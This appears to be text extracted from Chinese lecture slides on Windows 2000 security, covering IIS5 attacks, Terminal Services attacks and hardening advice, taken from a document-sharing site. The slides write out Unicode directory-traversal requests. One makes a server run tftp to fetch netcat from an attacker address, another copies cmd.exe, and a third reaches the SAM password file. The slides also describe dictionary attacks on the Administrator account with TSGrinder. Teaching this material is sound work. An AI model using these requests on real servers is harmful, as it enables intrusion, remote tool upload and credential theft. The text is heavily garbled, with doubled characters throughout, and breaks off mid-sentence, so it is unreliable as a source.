Windows2000系统安全(2)-网络与信息安全课件.pptx
《Windows2000系统安全(2)-网络与信息安全课件.pptx》由会员分享,可在线阅读,更多相关《Windows2000系统安全(2)-网络与信息安全课件.pptx(115页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、Win2k系统安全系统安全(2)E-mail: 目目 录录1.IIS5的安全的安全2.终端服务器安全终端服务器安全3.Microsoft Internet 客户端的安全客户端的安全4.物理攻击物理攻击5.拒绝服务攻击拒绝服务攻击6.安全功能和工具安全功能和工具IIS5的安全的安全IIS5IIS5基础基本基础基本HTTPHTTPHTTPHTTP:基于文本的无状态文件传输协议:基于文本的无状态文件传输协议虚虚拟拟目目录录:filesfiles映映射射到到该该系系统统磁磁盘盘的的一一个个实实际际目目录录上上,如如c:inetpubfilesc:inetpubfiles对于服务器而言则形成如下的请求:
2、对于服务器而言则形成如下的请求:GET/HTTP/1.0GET/HTTP/1.0若若该该文文件件存存在在,则则服服务务器器会会向向客客户户端端推推送送该该文文件件并并在在客客户户端的浏览器上显示;否则会有各种错误代码端的浏览器上显示;否则会有各种错误代码IIS5IIS5基础基础CGICGICGICGI:CommonCommonGatewayGatewayInterfaceInterface,运运行行在在服服务务器器上上的的应应用用程程序序,能针对每个请求生成动态的内容,扩展了能针对每个请求生成动态的内容,扩展了WebWeb功能功能调用调用CGICGIcgi.exe?var1+var2cgi.e
3、xe?var1+var2WindowsWindows中中几几乎乎所所有有的的可可执执行行程程序序都都可可以以作作为为服服务务器器端端的的CGICGI应应用程序来执行用程序来执行其中其中cmd.execmd.exe经常被作为寻找的目标经常被作为寻找的目标IIS5IIS5基础基础ASPASP和和ISAPIISAPIASPASP:ActiveServerPagesActiveServerPagesISAPI:ISAPI:InterfaceInterfaceServerServerApplicationApplicationProgrammingProgrammingInterfaceInterfac
4、e调用调用ASPASPscript.asp?var1=x&var2=yscript.asp?var1=x&var2=y调用调用ISAPIISAPIisapi.dll?var1&var2isapi.dll?var1&var2HTTPHTTP攻击伎俩攻击伎俩使用使用././进行文件系统遍历进行文件系统遍历URLURL的十六进制编码的十六进制编码使用使用././进行文件系统遍历进行文件系统遍历通通常常是是在在目目录录上上设设置置不不当当的的NTFSNTFS访访问问控控制制列列表表所所导导致的致的samsamURLURL的十六进制编码的十六进制编码HttpHttp允许允许URLURL中使用十六进制编码
5、形式输入字符串中使用十六进制编码形式输入字符串利用利用URLURL的十六进制编码攻击的十六进制编码攻击samsam 2F2F2E2E2E2E2F2F2E2E2E2E2Fwinnt/repair/2Fwinnt/repair/samsam能能避避免免入入侵侵检检测测系系统统的的检检测测,或或可可以以导导致致应应用用程程序序错错误误处处理理输输入入IIS5IIS5缓冲区溢出缓冲区溢出IPPIPP缓冲区溢出缓冲区溢出索引服务索引服务ISAPIISAPI扩展缓冲区溢出扩展缓冲区溢出CodeRedCodeRed蠕虫蠕虫ida/idqida/idq缓冲区溢出缓冲区溢出FrontPage2000FrontP
6、age2000服务器扩展缓冲区溢出服务器扩展缓冲区溢出安全对策安全对策在系统驱动器之外的驱动器上安装在系统驱动器之外的驱动器上安装WebWeb文件夹文件夹WebWeb服务器所在的卷应使用服务器所在的卷应使用NTFSNTFS并谨慎设置并谨慎设置ACLACL移动、删除或改名可能被利用的可执行文件:移动、删除或改名可能被利用的可执行文件:cacls,xcaclscacls,xcacls在在服服务务器器的的WriteWrite和和ExecuteExecute ACLACL中中删删除除EveryoneEveryone和和UsersUsersGroupGroup掌握对日志中攻击标志的分析掌握对日志中攻击标
7、志的分析将文件写入将文件写入WebWeb服务器服务器如在目标机上建立如在目标机上建立tftptftp服务器,然后上载文件:服务器,然后上载文件:GET/scripts/.%c0%af./winnt/system32/t?“-GET/scripts/.%c0%af./winnt/system32/t?“-i”+192.168.234.31+GET+nc.exec:nc.exeHTTP/1.0i”+192.168.234.31+GET+nc.exec:nc.exeHTTP/1.0 将将netcatnetcat写写入入到到C:C:,因因为为默默认认情情况况下下所所有有用用户户对对C:C:具具有有写写
8、权限权限如将目标机器上如将目标机器上cmd.execmd.exe改名为改名为cmdl.execmdl.exe GETGET/scripts/.%c0%af./winnt/system32/cmd.exe?+copy+/scripts/.%c0%af./winnt/system32/cmd.exe?+copy+c:winntsystem32cmd.exe+c:cmdl.exeHTTP/1.0c:winntsystem32cmd.exe+c:cmdl.exeHTTP/1.0其它自动上载工具:如其它自动上载工具:如unicodeloaderunicodeloader等等通过通过IIS5IIS5提升权
9、限提升权限通过通过InProcesslsapiAppsInProcesslsapiApps利用利用RevertToSelfRevertToSelf 安装安装MS01-026MS01-026补丁可以解决补丁可以解决源代码泄漏攻击源代码泄漏攻击起因起因IISIIS中的程序缺陷中的程序缺陷低劣的低劣的WebWeb编程技术编程技术常见的漏洞常见的漏洞+.htr(ism.dll)+.htr(ism.dll)Webhits(webhits.dll)Webhits(webhits.dll)Translate:f(WebDAV,httpext.dll)Translate:f(WebDAV,httpext.dl
10、l)WebDAVWebDAV目录列表(目录列表(httpext.dll)httpext.dll)WebWeb服务器安全评估工具服务器安全评估工具StealthHTTPScannerStealthHTTPScannerSSLProxySSLProxyAchillesAchillesWfetchWfetchWhiskerWhiskerWebWeb服务器安全忠告服务器安全忠告在在路路由由器器、防防火火墙墙或或其其它它位位于于WebWeb服服务务器器周周边边位位置置的的设设备备上上应应用网路级的访问控制用网路级的访问控制在主机级,阻塞在主机级,阻塞WebWeb服务器上所有不必要的流入和流出连接服务器上
11、所有不必要的流入和流出连接随时安装热修复:随时安装热修复:删除不必要的脚本映射和不使用的删除不必要的脚本映射和不使用的ISAPIISAPI应用程序应用程序DLLDLL禁用不必要的服务禁用不必要的服务在在应应用用WebWeb服服务务之之前前,强强烈烈推推荐荐使使用用SecuritySecurityTemplateTemplate来来对对其进行配置其进行配置WebWeb服务器安全忠告服务器安全忠告在系统卷之外建立一个独立的卷来存放在系统卷之外建立一个独立的卷来存放WebWeb根目录根目录WebWeb服务器所在的卷应使用服务器所在的卷应使用NTFSNTFS文件系统,明确的设置文件系统,明确的设置AC
12、LACL删删除除EveryoneEveryone、UsersUsers和和其其它它非非特特权权组组所所在在目目录录上上的的写写文文件件和和执行文件权限执行文件权限不要将私有数据保存在不要将私有数据保存在ASPASP文件或包含有文件中文件或包含有文件中停停止止AdministrationAdministrationWebWeb站站点点,删删除除IISAdminIISAdmin和和IISHelpIISHelp虚虚拟拟目录以及它们对应的真实目录目录以及它们对应的真实目录 目目 录录1.IIS5的安全的安全2.终端服务器安全终端服务器安全3.Microsoft Internet 客户端的安全客户端的安
13、全4.物理攻击物理攻击5.拒绝服务攻击拒绝服务攻击6.安全功能和工具安全功能和工具终端服务器安全终端服务器安全TSWindowsWindows20002000提提供供了了交交互互式式的的图图形形化化远远程程shellshell,称称为为终终端端服服务务(TerminalService(TerminalService,TS)TS),适用于远程管理或应用程序共享,适用于远程管理或应用程序共享引引用用的的说说法法,“Windows“Windows20002000终终端端服服务务使使你你能能够够从从各各种种设设备备上上,通通过过几几乎乎任任何何类类型型的的网网络络连连接接远远程程的的基基于于Windo
14、wsWindows20002000的的服服务务器,并在其上远程执行应用程序器,并在其上远程执行应用程序”TSTSTS紧紧密密集集成成在在操操作作系系统统内内部部,免免费费提提供供远远程程管管理理模模式式(最多有两个同时连接的会语以及一个控制台最多有两个同时连接的会语以及一个控制台)TSTS可可以以在在你你和和服服务务器器之之间间提提供供不不同同的的认认证证和和加加密密方方法法。对对WindowsWindows20002000来来说说,终终端端服服务务器器正正在在逐逐渐渐成成为为与与UNIXUNIX世界中的世界中的SSHSSH一样重要的图形化产品一样重要的图形化产品TS的代价的代价在在本本节节中
15、中,我我们们将将从从安安全全的的角角度度来来考考查查TSTS的的基基本本功功能能、如如何何识识别别和和枚枚举举TSTS、解解决决不不合合理理的的TSTS实实现现的的问问题题、已已知知的的针针对对TSTS的的攻攻击击,以以及及在在网网络络环环境境中中保保护护和和管管理理TSTS的基本知识的基本知识TS组件组件服务器服务器远程桌面协议远程桌面协议(RemoteDesktopProtocol(RemoteDesktopProtocol,RDP)RDP)客户端客户端TS服务器服务器TSTS集集成成在在所所有有WindowsWindows20002000服服务务器器中中,通通过过控控制制面面板板中中的的
16、WindowsWindows组件功能可以很容易地启用和禁用组件功能可以很容易地启用和禁用在在以以管管理理模模式式安安装装时时,服服务务器器是是标标准准的的组组件件;当当作作为为远远程应用程序服务器时,它需要额外的授权费用和架构程应用程序服务器时,它需要额外的授权费用和架构服服务务器器的的默默认认监监听听端端口口为为TCPTCP33893389(稍稍后后将将会会介介绍绍自自行行指定端口是很容易的指定端口是很容易的)远程桌面协议远程桌面协议(RDP)在在客客户户端端和和服服务务器器之之间间的的数数据据传传输输是是通通过过MicrosoftMicrosoft的的基于基于TCPTCP的远程桌面协议的远
17、程桌面协议(RDP-5)(RDP-5)进行的进行的RDPRDP提提供供了了三三层层加加密密以以确确保保点点对对点点数数据据传传输输的的安安全全性性:4040、5656或或128128位位RC4RC4与与WindowsWindowsNTNT版版本本的的RDP-4RDP-4相相比比,WindowsWindows20002000提提供供了了更更多多的的基基本本功功能能,可可以以在在大大多多数数的的网网络络环环境境中中高高效效的的使使用用客户端客户端通通过过MSMS安安装装程程序序(MSI)(MSI)软软件件包包安安装装的的独独立立的的1616位位或或3232位位可可执执行行文件文件终终端端服服务务高
18、高级级客客户户端端(Terminal(TerminalServicesServicesAdvancedAdvancedAlientAlient,TSAC)TSAC),基于,基于Win32Win32的的ActiveXActiveX控件,可以在控件,可以在WebWeb页面中使用页面中使用MMCMMC管理单元管理单元尽尽管管它它们们互互相相之之间间存存在在明明显显的的区区别别,但但各各种种不不同同的的客客户户端端都都用用完完全全相相同同的的方方法法来来实实现现RDPRDP。因因此此,尽尽管管它它们们看看起起来来似似乎乎不不一一样样,但但所所有有的的TSTS客客户户端端在与服务器进行对话时都以完全相同
19、的方式进行操作在与服务器进行对话时都以完全相同的方式进行操作修改修改TSTS监听端口服务器端监听端口服务器端通通过过修修改改下下面面的的注注册册表表键键值值,TSTS的的默默认认端端口口可可以以重重新新指定指定 HKLMSystemCurrentControlSetControl Terminal Server WinStationsRDP-Tcp键值:键值:PortNumber REG_DWORD=3389修改修改TSTS监听端口客户端监听端口客户端第一步是在第一步是在TSTS客户端连接管理器中与目标主机建立连接客户端连接管理器中与目标主机建立连接一一旦旦创创建建了了一一个个连连接接之之后后
20、,选选定定该该连连接接并并从从FileFile菜菜单单中中选选择择ExportExport,将将全全部部配配置置设设置置保保存存到到以以一一个个CNSCNS为为扩扩展展名名的的文文本文件中去本文件中去使使用用文文本本编编辑辑器器打打开开这这个个文文件件,将将ServerServerPortPort修修改改为为在在服服务器上指定端口,如下例所示务器上指定端口,如下例所示(自定义连接端口为自定义连接端口为7777)7777)修改修改TSTS监听端口客户端监听端口客户端CorpTermServWinPosStr=0,2,0,0,941,639Expand=1Smooth Scrolling=0Sha
21、dow Bitmap Enabled=1Dedicated Terminal=0Server Port=7777Enable Mouse=1etc.识别和查找识别和查找TSTS33893389端口扫描端口扫描TSProbeTSProbeTSEnumTSEnum 攻击攻击TSTS密码猜测攻击密码猜测攻击用户权限提升用户权限提升畸形畸形RDPRDP拒绝服务攻击拒绝服务攻击 密码猜测攻击密码猜测攻击-TSGrinder.exe-TSGrinder.exeTSTS登登 录录 等等 价价 于于 真真 正正 的的 交交 互互 式式 登登 录录,因因 此此 对对 真真 正正 的的AdministratorA
22、dministrator账账户户是是不不能能设设置置锁锁定定阈阈值值的的。这这意意味味着着在在启启用用了了TSTS服服务务的的情情况况下下,对对密密码码猜猜测测攻攻击击来来说说,本本地地AdministratorAdministrator账户是一个最易受攻击的目标账户是一个最易受攻击的目标TimTimMullenMullen开开发发了了TSGrinderTSGrinder的的工工具具,它它能能够够通通过过TSTS对对本本地地AdministratorAdministrator账户进行字典攻击账户进行字典攻击密码猜测攻击密码猜测攻击-TSGrinder.exe-TSGrinder.exeTSGr
23、inderTSGrinder使使 用用 TSTS的的 ActiveXActiveX控控 件件 来来 进进 行行 攻攻 击击。尽尽 管管 这这 个个ActiveXActiveX控控件件经经过过特特殊殊的的设设计计可可以以拒拒绝绝对对密密码码方方法法的的脚脚本本访访问问,但但通通过过C+C+中中的的vtablevtable绑绑定定仍仍然然可可以以访访问问ImsTscNonScriptableImsTscNonScriptable接接口口方方法法。这这允允许许为为该该控控件件编编写写自自定定义义的的接接口口,于于是是攻攻击击者者就就可以对可以对AdministratorAdministrator账户
24、进行密码猜测,直至猜测出密码账户进行密码猜测,直至猜测出密码上提供下载上提供下载 密码猜测攻击的防御密码猜测攻击的防御推荐将本地推荐将本地AdministratorAdministrator账户改名账户改名防防御御TSTS密密码码猜猜测测攻攻击击的的另另一一种种有有趣趣的的方方法法是是为为WindowsWindows登登录录窗窗口口制制作作一一个个自自定定义义的的法法律律声声明明,通通过过添添加加或或编编辑如下的注册表键值就可以实现:辑如下的注册表键值就可以实现:HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWinLogon 用户权限提升用户权限提升推
25、推荐荐实实现现WindowsWindows20002000ResourceResourceKitKit中中的的一一些些关关键键功能功能其其中中最最重重要要的的是是,“Appsec”“Appsec”可可以以使使管管理理员员能能够够限限制制用户只能运行特定的应用程序用户只能运行特定的应用程序这这能能够够减减小小攻攻击击者者在在获获取取本本地地用用户户访访问问之之后后进进行行权权限限提升攻击的危险提升攻击的危险 IMEIME远程远程RootRoot获取获取输输入入法法编编辑辑器器(Input(InputMethodMethodEditorEditor,IME)IME)漏漏洞洞,这这个个漏漏洞洞导导致
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Windows2000 系统安全 网络 信息 安全 课件
限制150内